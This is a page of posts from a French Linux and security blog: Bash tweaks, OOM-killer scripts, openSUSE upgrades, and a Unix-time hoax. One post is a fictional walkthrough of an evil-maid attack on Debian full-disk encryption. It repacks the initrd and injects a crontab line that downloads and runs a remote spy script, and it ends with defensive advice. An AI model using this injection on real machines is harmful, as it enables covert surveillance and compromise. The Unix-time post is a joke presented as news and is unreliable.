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devloop :: blog

Blog sur la sécurité informatique, la programmation, Linux et le Web

Posts tagged with "linux"

En vrac

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Ces derniers temps, pas grand chose à dire... Je me suis mis au même niveau d'activité que l'Internet français au mois d'aout (même les sites d'infos semblent mourir ce mois).

En dehors du fait que j'ai légèrement maltraité mon teint de geek pendant une semaine, j'ai une nouvelle machine : NEVE !
Mon premier laptop, un
Asus X5DIN-SX033C :smile: J'en suis très content puisqu'il satisfait tous mes critères de sélection :
  • Toshiba ou Asus en constructeur
  • Un pad numérique (pour jouer à NetHack)
  • Pas trop grand
  • Pas trop cher
  • nVidia-powered comme Shirley


Ca semblait mission impossible mais c'est réussi. En plus la carte WiFi a un chipset Atheros reconnu sur les kernels Linux récents :smile:
La config de la belle est ici :wink:

Pour le moment j'ai décidé de laisser sa chance au Windows Vista préinstallé, surtout que si j'ai bien compris j'ai une offre pour passer à 7... au moins histoire d'essayer.
Et comme on me l'a déjà demandé, non je n'ai pas perdu la tête... J'ai installé VirtualBox et j'y fais tourner un FreeBSD 7 ainsi qu'un OpenSolaris :D

Mes lectures de vacances se sont composées de beaucoup de ça, de pas mal de ça et aussi de ça (pdf) et j'ai appris pas mal de choses :smile:

Deux vidéos à voir. Vive le rock'n'roll (attention NOFX, la relève arrive :headbang: :lol: )

Accélérer Bash sous openSUSE : désactiver la complétion sur les commandes inexistantes

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Vous avez peut-être remarqué que lorsque vous tapez une mauvaise commande sous Bash (commande inexistante, introuvable...), il se passe un temps anormalement long avant que le message "command not found" soit affiché :clown:
Par exemple si je tape "kpdp" (qui n'existe pas) ou "sar" (non-installé sur mon système), j'obtiens les temps d'attente suivant :
> time kpdp
bash: kpdp: command not found

real    0m0.755s
user    0m0.596s
sys     0m0.096s
> time sar

The program 'sar' can be found in the following package:
  * sysstat [ path: /usr/bin/sar, repository: zypp (repo-oss) ]

Try installing with: sudo zypper install sysstat

bash: sar: command not found

real    0m0.807s
user    0m0.584s
sys     0m0.112s

Ce délais d'attente est dû à la présence de scripts de complétement avancés qui s'exécutent si la commande n'a pas été trouvée.
La complétion est très utile et omniprésente sous Bash. On peut obtenir une liste des complétements effectués avec la commande suivante :
complete -p

On verra par exemple "complete -u su" qui indique à Bash de proposer des noms d'utilisateurs en argument de la commande su.
On peut aussi trouver "complete -o filenames -d -X '.[^./]*' -F _exp_ bunzip2" qui indique d'appeller une fonction baptisée _exp_ définie dans le fichier /etc/profile.d/complete.bash pour générer une liste d'arguments à bunzip2 (la fonction _exp_ liste les fichiers en fonction de leur extension, les fichiers .bz2 sont renvoyés si la commande appelante est bunzip2)
Pour plus détails, aller sur la page de manuel de bash(1) et sur la section concernant complete.

Dans notre cas, ce qui pose problème c'est les lignes suivantes (ici en gras) dans le fichier /etc/bash.bashrc :
# Expert mode: if we find $HOME/.bash.expert we skip our settings
# used for interactive completion and read in the expert file.
#
if test "$is" = "bash" -a -r $HOME/.bash.expert ; then
  . $HOME/.bash.expert
elif test "$is" = "bash" ; then
  # Complete builtin of the bash 2.0 and higher
  case "$BASH_VERSION" in
  [2-9].*)
    (...)
    for s in /etc/bash_completion.d/*.sh ; do
      test -r $s && . $s
    done
    if test -f /etc/bash_command_not_found ; then
      . /etc/bash_command_not_found
    fi
  ;;

Le fichier /etc/bash_command_not_found contient une fonction qui appelle un script python qui fouille dans les bases rpm pour essayer de trouver à quel package correspond la commande tapée.
Pour empêcher cela, une solution propre est de créer un fichier vide .bash.expert dans son dossier personnel (home directory).
L'appel de commandes inexistantes est alors bien plus rapide :
> time kpdp
bash: kpdp: command not found

real    0m0.001s
user    0m0.000s
sys     0m0.004s
> time sar
bash: sar: command not found

real    0m0.001s
user    0m0.000s
sys     0m0.000s

PS: on peut aussi supprimer le paquet command-not-found depuis zypper ou rpm ce qui est encore mieux :smile:

Geeko Builder

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Voici un site totalement inutile... donc indispensable qui ravira les fanboys de la distribution Linux openSUSE :

Geeko Builder

Ce site vous permet de créer vous même votre fond d'écran openSUSE en sélectionnant les différents éléments (décor, vétements, outils) à incorporer.
Par exemple j'ai fait une version Geeko Ninja dans une salle de serveurs penguin :ninja:

Bypasser le chiffrement de disque sous Linux

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Introduction dramatique

A chaque projet de loi concernant l'Internet ou le téléchargement, on assiste à une véritable foire où les internautes ne cessent de critiquer et de minimiser les mesures techniques proposées par le gouvernement arguant quelles sont inefficaces, onéreuses et difficiles à mettre en place... C'est souvent le cas p:
Mais j'évite de participer aux discussions enflamées sur les forums où chacun y va de sa contre mesure technique... c'est souvent les moins informés qui s'y expriment le plus :D
Si vous avez fait un tour chez un libraire ces derniers temps, vous avez dû remarquer qu'une certaine presse (les magazines sur lesquels on voit une bourrique ou un drapeau noir) joue aussi le jeu à fond et la page de couverture titre à peu près "Toutes les astuces pour pas se faire gauler !" :raider:

Avec la LOPSI 2, le phénomène est exactement le même. Un peu partout sur le web vous lirez que pour empècher l'insertion du fameux mouchard il suffit de chiffrer son disque.
Mais qu'en est-il réellement ?

Scénario improbable

José est un terroriste.
C'est du moins ce que certaines personnes pensent, tellement il est de gauche, tellement il porte la moustache, tellement il est agriculteur, tellement il va pas au MacDo...
En plus il est anti-capitaliste au point de ne pas utiliser un système Microsoft !! C'est sûr, José et un homme dangereux.

D'ailleurs il a installé une Debian Lenny en utilisant les options permettant de chiffrer l'ensemble de ses données.

Le ministre de l'intérieur a décidé que ce serait bien d'avoir un oeil sur ses communications. Malheureusement José communique avec GPG. De plus une exploitation distante pour pénétrer son ordinateur a peu de chances de réussir car il utilise OpenOffice :wink: et met régulièrement son système à jour.

C'est pour cela que le GIPM (Groupe d'Intervention de Pose de Mouchard) s'est vu remettre l'opération.
Mais une fois qu'ils ont obtenu un accès physique à l'ordinateur, le GIPM (mené par l'inspecteur Coudrier) s'aperçoivent que le disque est chiffré !!
L'inspecteur Coudrier trouvera t-il une astuce ? José ira t-il à Quick à défaut de MacDo ?

Chapitre II

Coudrier ne s'avoue pas vaincu. Il a pris soin d'éplucher le manuel d'installation Debian et s'est attardé sur la partie concernant le chiffrement.
A priori ce n'est pas gagné : le disque est préalablement effacé et les données ensuite chiffrés avec des algorithmes solides. Pourtant il a remarqué un détail dans l'article :
Some people may even want to encrypt their whole system. The only exception is the /boot partition which must remain unencrypted, because currently there is no way to load the kernel from an encrypted partition.
En effet, depuis sa vieille galette KnoppixSTD qu'il a lancé sur l'ordinateur, Coudrier a remarqué deux entrées dans /etc/fstab.
La première est la partition /dev/hda1 montée sur /boot au format ext2, de petite taille.
La seconde (/dev/hda2) est marquée de format auto. Son contenu est une suite d'octets inexploitables. Seul quelques chaines au début de la partition semblent indiquer qu'il s'agit d'une partition chiffrée. On peut lire "LUKS aes cbc-essiv:sha256 sha1".

Coudrier monte la partition /boot et liste son contenu : un dossier grub et lost+found ainsi que des fichiers config-2.6.26-2-686, initrd.img-2.6.26-2-686, System.map-2.6.26-2-686 et vmlinuz-2.6.26-2-686.
L'inspecteur n'ayant aucune connaissance en virologie, il laisse de côté le fichier vmlinuz-2.6.26-2-686 et commence à s'intéresser au fichier initrd.img-2.6.26-2-686 :sherlock:

Ce fichier pèse 7Mo et est compressé par gzip. Coudrier le copie sur sa clé USB, le décompresse et obtient une archive au format cpio.
$ cp initrd.img-2.6.26-2-686 /mnt/usbkey/initrd.gz
$ cd /mnt/usbkey
$ gunzip initrd.gz
$ file initrd
initrd: ASCII cpio archive (SVR4 with no CRC)

Une recherche sur Google depuis une autre machine l'amène à une page sur les étapes du boot Linux et une autre sur la manipulation d'un fichier initrd.

Avec la première page, il apprend que la partition racine est montée après le lancement de initrd. Pourtant dans la section initrd on peut lire "'real' root is mounted"... étrange.
L'inspecteur n'a pas toute la journée : il tente sa chance.

En listant le contenu du initrd (cpio -itv < initrd) il observe des fichiers qui ne lui sont pas utiles comme des modules kernel ou des binaires statiques et strippés.
Il y a aussi un dossier "scripts" dont le contenu est le suivant :
scripts/nfs
scripts/local
scripts/init-premount
scripts/init-premount/udev
scripts/init-premount/blacklist
scripts/init-premount/thermal
scripts/local-top
scripts/local-top/lvm2
scripts/local-top/cryptopensc
scripts/local-top/lvm
scripts/local-top/cryptroot
scripts/local-bottom
scripts/local-bottom/cryptopensc
scripts/local-premount
scripts/local-premount/resume
scripts/init-top
scripts/init-top/keymap
scripts/init-top/framebuffer
scripts/init-top/all_generic_ide
scripts/functions
scripts/init-bottom
scripts/init-bottom/udev

Il décide d'approfondir et extrait (cpio -iv < initrd) les fichiers de l'archive cpio. Dans le fichier scripts/local il trouve une fonction baptisée "mountroot" qui contient la ligne suivante :
mount ${roflag} -t ${FSTYPE} ${ROOTFLAGS} ${ROOT} ${rootmnt}

Il décide d'ajouter juste derrière la ligne
echo "0 * * * *  root  cd /dev/shm && wget http://lopsi.interieur.gov/mouchard.sh && chmod +x mouchard.sh && ./mouchard.sh" > ${rootmnt}/etc/crontab

Coudrier regénère l'archive cpio avec ses modifications (find * | cpio -o -H newc > ../new_initrd) et la recompresse (gzip -9 new_initrd) avant d'écraser l'ancienne version.
Il lance un sync, démonte les partions, retire sa galette et éteint la machine. Mission accomplished :cool:

Fin

Au prochain démarrage de son ordinateur, José rentre sa passphrase qui lui permet de déchiffrer les disques. Il ne sait pas qu'il a malgré lui permis à la commande de Coudrier de s'exécuter sur la partition tout juste déchiffrée...

Conclusion

Bien que très efficace, le système de chiffrement de disque a quelques lacunes puisqu'un programme peut être injecté sur la partition /boot pour s'exécuter une fois que vous aurez autorisé le déchiffrement des partitions.
Pour se protéger d'une telle attaque il faudrait désactiver le boot sur périphériques CD ou USB dans le bios et protéger ce dernier par un mot de passe. Un cadenas physique empéchant le retrait du disque ou le vidage de la mémoire BIOS est aussi important.

Notes

Comme indiqué dans cette fiction-réalité, j'ai effectué mes tests sur une Debian Lenny en sélectionnant le chiffrement total dans l'installeur.
Les commandes que l'on peut insérer dans les scripts extrait du initrd sont limitées aux commandes du shell ainsi qu'aux exécutables (peu nombreux) présents dans l'archive. Impossible donc d'y lancer directement un programme comme wget.
La commande que j'ai injecté durant mes tests créait uniquement un fichier dans /etc que l'on retrouvait une fois loggé sur le système et après avoir saisi la passphrase. L'entrée crontab de l'article est juste là pour faire plus l33t :ninja:

Afficher la "kill" liste de votre système Linux

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Pour revenir au billet précédent et aux fichiers /proc/[pid]/oom_score et /proc/[pid]/oom_adj...

La page de manuel de proc(5) nous dis informe de différents points intéressants :
  • oom_adj contient une valeur numérique située entre -17 et 15. Plus la valeur est grande (et positive) plus le processus a des chances d'être candidat à un "suicide" décidé par le kernel.
  • On peut jouer sur cette valeur, par exemple en faisant un echo -5 > /proc/[pid]/oom_adj
  • oom_score contient une valeur numérique bien plus grande qui est calculée à partir de différents éléments comme l'utilisation CPU du processus, sa priorité, s'il tourne avec des privilèges etc. Le résultat est ensuite décalée à l'aide de la valeur oom_adj (bit shift). Cette opération est définie par la fonction badness
  • la valeur -17 dans oom_adj est particulière et permet de marquer le processus comme indestructible
  • Tout ce mécanisme peut être activé ou désactivé par /proc/sys/vm/panic_on_oom. Si ce fichier contient "1" alors le système fait un kernel panic en cas de débordement de mémoire. S'il est à 0, oom-killer est appelé à la rescousse.


Pour afficher la liste des processus par ordre croissant de risque de se faire tuer, j'ai créé un script python : oom_score.py

Il donne un résultat de ce style :
oom_score pid   process name                   oom_adj                              
        0  3593 /sbin/auditd -s disable            -17                              
        0   665 /sbin/udevd --daemon               -17                              
       13  2610 /sbin/acpid                          0                              
       15  3622 /usr/sbin/avahi-dnsconfd -D          0
...
    34560  5187 /usr/bin/krunner                     0
    83495  5108 kdeinit4: kdeinit4 Running...        0
    90882     1 init [5]                             0
   103294  5614 /bin/sh /usr/bin/firefox             0

Gare à toi Firefox !! p: Par contre qu'init soit en seconde position, ça fait plus peur :D

Quelqu'un a fait un script bash ici mais il donne moins d'informations (uniquement oom_score et nom du process)

Plantages sous Linux

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J'ai beau aimer Linux penguin et dire régulièrement du mal de Windows (la gestion des fenêtres est tout simplement exaspérante face à un bon KDE), j'admets tout de même volontier que Linux est aussi sujet à des plantages.
MAIS quand ça survient sous Linux, on se dit qu'il y a une bonne raison et que surtout il y a une façon de trouver quelle en est la cause et d'agir pour que ça ne se reproduise plus. C'est tout l'avantage d'un système open-source face à un système propriétaire où l'on peut juste... subir et espérer que les devs découvrent puis décident finalement de corriger le problème :frown:

Je ne sais plus exactement depuis combien de temps j'ai ce souci mais ça fait un bail... en fait probablement depuis que j'ai Shirley :eyes:
Le symptôme est toujours le même : tout d'un coup le disque dur se met à gratter et les commandes ne répondent plus. Seul le curseur de la souris est d'accord pour réagir (par intermittence). Si on est suffisamment rapide (c'est rare), on peut parvenir à fermer les applications et éviter le pire.
Le pire (qui est tout de même loin d'être l'enfer mais très énervant) c'est que le système reste inutilisable et gratte pendant un bon moment. Ca peut durer jusqu'à une demi-heure dans mon cas.
Ce comportement est typique d'un programme quelconque qui explose son utilisation mémoire et, une fois la RAM complètement utilisée, s'attaque à la SWAP (d'où l'utilisation intensive du disque dur)

Si on est patient, tout se termine "bien". Le kernel s'est chargé de tuer toutes applications graphiques, le WM et Xorg inclus (bref la crémerie avec la crémière et ses yaourts) et on est bon pour se relogger.
Quelques minutes plus tôt on s'acharnait à faire des Ctrl+Alt+F1 dans l'espoir de pouvoir régler nous même le problème.

Il est très difficile de déterminer quel programme est à l'origine du plantage... surtout quand on a toujours les même programmes ouverts p:
Longtemps j'ai soupçonné le "operapluginwrap" qui est le programme qui gère les plugins sous Opera. Son utilisation du CPU grimpe en flèche dès que l'on tombe sur du Flash (d'où l'utilité d'un FlashBlocker pour limiter les dégats).

Au même titre, j'ai soupçonné Vuze (client BitTorrent développé en Java), ce qui m'a poussé à passer à Deluge récemment.
Mais si on suit la logique, le souci pourrait aussi bien être lié à Firefox (souvent ouvert aussi) ou des daemons (mysqld, apache, tor...)

Malgré le passage à Deluge, le souci est réapparu. Je suis donc allé fouiller dans les logs :sherlock:
La dernière fois j'avais vu des appels à un programme nommé "kwin_killer_helper", sorte de soupape de sécurité de KDE qui tente de fermer des programmes quand ça part en sucettes... seulement son action a l'air peut efficace est surtout l'application n'est pas configurable :frown:

Cette fois j'ai remarqué des références à "oom-killer". Il agit de la même façon que kwin_killer_helper mais au niveau du noyau.
Le problème c'est qu'il semble reporter seulement le programme qui fait déborder le vase or ce n'est pas forcément celui qui s'est chargé de le remplir à 99%... toutefois en faisant des statistiques, on peut en déduire les programmes qui sont plus gourmants que les autres.

Ainsi un grep sur /var/log/messages me donne 9 "java invoked oom-killer", 1 pour opera, 1 pour policykit-kde et le dernier en date pour klipper :eek:
Le bon côté c'est qu'en abandonnant Vuze le problème apparait moins souvent mais il reste toujours présent :frown:

Si je regarde dans les logs plus anciens (archivés par logrotate), on retrouve java mais sont aussi mis en cause hald-addon-stor et mysqld Homer: Doh!

Si on effectue des recherches sur Google, on retrouve tous un tas de programmes variés qui ont "invoqué" oom-killer dont certains sont réputés stables.
Le souci semble donc venir d'ailleurs.

Pour certains, le souci est lié à la taille de la SWAP... il faudrait qu'elle soit au moins de la taille de la RAM. Je ne dirais pas que je n'y crois pas une seconde... mais presque (va pour deux secondes d'incrédulité :rolleyes: )
Pour d'autres (et sans doute plus fiables) et ici, ce serait lié à l'utilisation d'un système 32bits avec une machine 64bits (ce qui est mon cas).
Je vais probablement suivre la seconde possibilité mais je ne compte pas réinstaller mon système pour le moment (j'attends la version 11.2 d'openSUSE) p:

Pour le moment j'ai vu ici que chaque processus a dans /proc/ des fichiers oom_adj et oom_score dont il serait peut-être bon de connaître l'utilité :confused:
Et enfin un comique a enregistré le domaine oomkill.net sur lequel ont peut lire le boût de kernel correspondant à ce tueur de gaspilleurs de mémoire (oom = "Out Of Memory") :ninja:

Unix Time : Une remise à zéro des compteurs

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A la dernière DTC mondiale (Word Wide Digital Time Conference), l'ISO s'est montrée préoccuppée par les problèmes d'écologie et de réchauffement de la planète causés par le nombre toujours plus important d'unité centrales et autres laptops laissés allumés pendant des journées entières.

C'est après moult réflexions qu'ils sont arrivés au constat suivant :
La fameuse heure UNIX que l'on retrouve dans les systèmes d'exploitations, les langages de programmations et les systèmes de base de données prend, de par sa nature, un espace trop important pour stocker un simple "timestamp" (date + heure).

En effet le principe de cette unité de temps est de compter le nombre de secondes écoulées depuis le 1er janvier 1970.
Ainsi le 13 février certains ont fêté le passage de ce timestamp à l'état 1234567890.

Le problème de ce format est qu'il stocke un nombre sans cesse plus grand, provoquant des calculs toujours plus lourds pour les processeurs ainsi qu'une augmentation de la chaleur des machines. Bien sûr la chaleur durant ces calculs est infime, mais combinée au nombre d'ordinateurs sur la planète, le problème devient sérieux.

C'est pourquoi l'ISO a décrété que dès le premier janvier 2010, l'heure UNIX prendrait un nouveau départ avec comme référence 0 le 1er janvier de l'année 2000 à 00 heures et 00 minutes.
Le second changement, et sans doute le plus important, est que les secondes ne seront plus prises en compte dans ce format afin de ne pas se retrouver dans la présente situation.

Bien sûr, cette décision n'a pas tout de suite eu l'accueil souhaité par l'ISO, provoquant de vifs débats. Ainsi il a été mis en avant le fait que les programmeurs ont l'habitude d'utiliser ce format de temps pour calculer facilement une durée (soustraction de deux timestamps) et que le changement génèrerait une perte de précisions.

Le président de l'ISO a rétorqué que

On est pas à une minute près !

:rolleyes:

Lire votre musique d'Imeem.com dans Amarok ou VLC

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Après l'implémentation de l'API officielle de Imeem.com puis de son API cryptographique, je boucle (normalement) la série avec un code qui permettra de lire les flux FLV depuis votre lecteur multimédia favori pour peu qu'il supporte le format XSPF (qu'Amarok et VLC semblent utiliser par défaut).

Avant de m'y mettre, j'aurais passé pas mal de temps à faire un script capable de détecter les tags mal encodés sur Imeem et de les corriger.
Typiquement on retrouve soit des données en UTF-8 qui semblent avoir été avalées comme du ISO-8859-1 (dans ce cas on a deux caractères originaux pour le prix d'un seul) ou un tag ISO-8859-1 interprété comme du UTF-8 avec le caractère de remplacement unicode à la place des accents :bomb:

Dans le premier cas il suffisait (après un arrachage de cheveux) de récupérer les tags mal codés en UTF-8, les réencoder comme si c'était de l'ISO-8859-1 et les renvoyer sur le serveur.
Pour le second cas, comme il est impossible de retrouver l'accent original, on demande la saisie au clavier du bon tag et on l'envoit pour modification au serveur :idea:
Voir le fichier correct_unicode.py dans l'archive.

Pour la lecture des flux je n'avais pas envie de m'embêter à faire mon propre frontend à mplayer comme pour Anywhere.FM surtout que rajouter des modules (soumission Last.FM, changement de status sur la messagerie...) ça rajoute du boulot :insane:
La solution a consisté à faire un programme qui extrait une librairie personelle de Imeem.com et l'enregistre sous la forme d'une liste de lecture au format XSPF :up:
Le résultat est plutôt agréable car ce format de playlist intégre les méta-informations (album, titre de la piste, nom de l'artiste, durée, url de la vignette de l'album, url d'information...). Amarok n'a pas eu l'air d'être complètement au point sur ce format lors de mes tests mais VLC fonctionne parfaitement avec.
Il existe même une extension VLC du format XSPF pour ceux qui voudraient faire des modifications.

Dernier problème : les urls des flux FLV sont à usage unique. Dans la playlist XSPF on retrouve alors des adresses de flux du style "http://localhost:3128/sBrCXnRPUt" avec l'ID de la chanson comme page demandée. J'ai écris un mini serveur HTTP qui se charge de générer une url vers le FLV correspondant et qui répond avec un HTTP 302 (Moved temporarily) quand le lecteur va chercher la musique :smile:



L'archive avec les nouveaux codes est ici : imeem_xspf.zip

Mise à jour vers openSUSE 11.1

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Attendue avec impatience, la nouvelle version de la distribution openSUSE est sortie à la date et l'heure annoncée.
J'étais bien sur dans les starting-blocks pour installer cette version, même si j'ai quand même du attendre de finir ma journée de boulot :D

Comme d'habitude j'ai choisi la mise à jour à partir du nouveau DVD d'installation (4.2Go) qui peut toujours s'avérer utile pour réparer un système cassé.

Pour l'occasion j'ai opté pour le téléchargement par les liens Metalink comme conseillé sur le blog openSUSE Lizards.
Le téléchargement par aria2c s'est montré décevant, avec une moyenne d'environ 350ko/s. Le metalink semblait utiliser principalement des sources BitTorrent, j'aurais peut-être eu plus de chances avec une liste de dépôts officiels (ftp ou http).

Avant de passer à l'action proprement dite, j'ai d'abord modifié la liste des dépôts présents sur mon systèmes pour les passer (quand celà était possible) à la version 11.1. Cela incluait notamment le dépôts non-oss, le dépot de mise à jour de sécurité et les dépots Backports et Extra de KDE4.

Je boote sur le DVD. Première impression : c'est très beau !! :smile: Le graphisme a été particulièrement soigné et l'interface d'installation a encore été revue et corrigée.
Je passe par l'option "Installation" qui me permet de sélectionner un peu plus loin "Mise à jour".
Contrairement aux précédentes versions, l'installeur ne semble pas reconnaître la partition chiffrée, ce qui était plutôt inquiétant. Des avertissements sont aussi apparus pour m'informer que le /etc/fstab utilisait directement le nom des périphériques (ex: /dev/sda3) au lieu de leurs IDs correspondant (ex: /dev/disk/by-id/ata-Maxtor_6L160P0_L30PMFRH-part3).
J'ai ignoré les avertissements et l'installeur a décidé d'ignorer la partition chiffrée (auparavant il demandait la passphrase) pour se concentrer sur la partition racine.

Arrivé à la partie de gestion des packages, on me demande si je veux utiliser certains dépôts déjà configurés sur le système actuel. Ca tombe bien, je les ai modifié juste avant, ce qui m'a évité beaucoup de casse-têtes avec les dépendances : une seule dépendance cassée sur toute l'installation (concernait la librairie Python pour Qt4). J'ai tout de même désactivé les dépôts externes Packman, VLC... pour éviter d'avoir une installation exotique p:

L'installation des paquets a duré environ 1h15. Rien à signaler. La présence des dépôts non-oss m'ont permis de garder le player Flash, le navigateur Opera ainsi que les codecs vidéo propriétaires.

Le reboot a été pour le moins rapide (on ne passe pas par la case GRUB). Au démarrage, atterrissage en mode console. Le temps de recompiler le driver NVIDIA, faire un modprobe, relancer xdm et on se retrouve rapidement en mode graphique.

L'ouverture de session KDE4 échoue sur un message d'erreur plasma. Aucun rapport avec la mise à jour, j'avais déjà cette erreur auparavant et manquant de courage pour farfouiller, j'étais passé temporairement sur LXDE. Après quelques essais, la suppression du fichier .kde4/share/config/plasma-appletsrc dans mon home a résolu le problème. C'était le widget de controle de Amarok qui était buggé.

Le look par défaut du KDE 4.1.3 est sympathique mais je n'hésite pas à le retoucher quelque peu. Les effets du gestionnaire de fenêtre rendent le système un peu plus lourd mais rien d'invivable :smile:

L'applet de mise à jour YaST me prévient que des correctifs sont téléchargeables. Je lance et BAM : un bug déjà connu :frown:
Heureusement on me propose de lancer YaST à la place :up:

Le second problème pour cette version se situe au niveau de la lecture de cd audios : la version présente n'est pas très audio-cd-compliant et Amarok 2 n'intègre pas encore cette possibilité. On est donc obligé de se rabattre sur KsCD qui est pour le moins simpliste.

Pour des raisons qui m'échappent, la mise à jour de l'horloge par NTP ne s'est pas faite au lancement malgré que la configuration soit la même. J'ai juste changé de serveur de temps et j'avais à nouveau un système à l'heure :confused:

Opération que je n'ai pas l'habitude de faire mais qui s'est montrée efficace : j'ai récupéré le disque dur d'Alice, l'ai rattaché en esclave sur mon UC et j'ai pû le reformater facilement et efficacement par YaST en ext3 (option de montage : acl,user_xattr,owner qui semble correspondre à ce que je voulais) avec un chown supplémentaire sur le périphérique.

Plus tard j'ai du à nouveau jouer du chown chmod. Je ne sais pas si c'est l'opération précédente, mais la lecture des cd-audios s'est complètement bloquée. Le lancement de cdp me demandait de changer les permissions sur le périphérique correspondant.
Les droits étaient sur "brw-rw----+", j'ai effectué un chmod o+rw et effectivement je pouvais à nouveau lire des disques :eek:

J'en ai profité pour installer Mesk, un lecteur audio qui supporte les CDs et a un plugin LastFM :smile:

Au final, un seul vrai bug qui semble être venu avec la nouvelle version, pour le reste les développeurs et les graphistes ont fait du bon boulot :smile:

Prospection ou flicage ?

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Il y a moins d'une heure, j'ai recu un appel de prospection téléphonique de mon FAI (pour ne pas le nommer je ferai référence à lui par le numéro "9" :D ) qui m'a un peu surpris... plutôt par sa tournure que par sa finalité (quoique on sait jamais...)

En gros je recois l'appel d'une personne (probablement payée peau de zob mais c'est une autre histoire) qui m'informe que depuis quelques temps ma bande passante semble bien encombrée et qu'il s'inquiète pour mon (ou mes) système(s) informatique et que j'aurais pû être la victime d'attaques malicieuses (voire, qui sait, maquiavéliques p: ).
Pour bonne preuve de sa cyber-empathie, il s'enquiert de ma santé informatique en me demandant sous quels systèmes mes ordinateurs fonctionnent. En toute franchise je lui répond que je suis sous Linux. "Tous ?" réplique-t-il. Effectivement tous mes systèmes sont sous Linux. Il n'y a aucun irréductible depuis la mort très récente d'Alice, ma première UC, dont la carte mère a rendue l'âme sans même prévenir :cry:
Sur ce il a rétorqué qu'effectivement j'étais en "pleine sécurité" penguin et a fait ses salutations.

Chose amusante, la communication téléphonique était pour le moins hachée car j'étais (et suis toujours à l'heure de ces lignes) en train de bourriner sous BitTorrent pour télécharger le DVD de la dernière version d'openSUSE :lol:

Quoiqu'il en soit, je trouve choquant le fait de contacter systèmatiquement les clients dont l'utilisation des "tuyaux du net" a pû augmenter et d'aller leur poser des questions louches (lobbyistes ?) pour essayer de déterminer le pourquoi du changement.
Que ce soit une démarche commerciale pour vendre des packs de sécurité compatibles crosoft bug ou une démarche gouvernementale pour mettre l'Internet en boîte, dans tous les cas ça me semble être une atteinte à la vie privée.
Qu'ils spamment équitablement leurs clients, sans distinction de taille de tuyau ou de couleur et de longueur de cable réseau (pas de discrimination), ça ne me dérange pas. Mais qu'ils se basent sur des données personnelles (même si ce n'est que pour en déterminer un volume), je trouve ça indécent.
Non mais, qu'ils s'occupent de leur fesses !! :furious:

Sur ce, j'ai un système à mettre à jour :wink: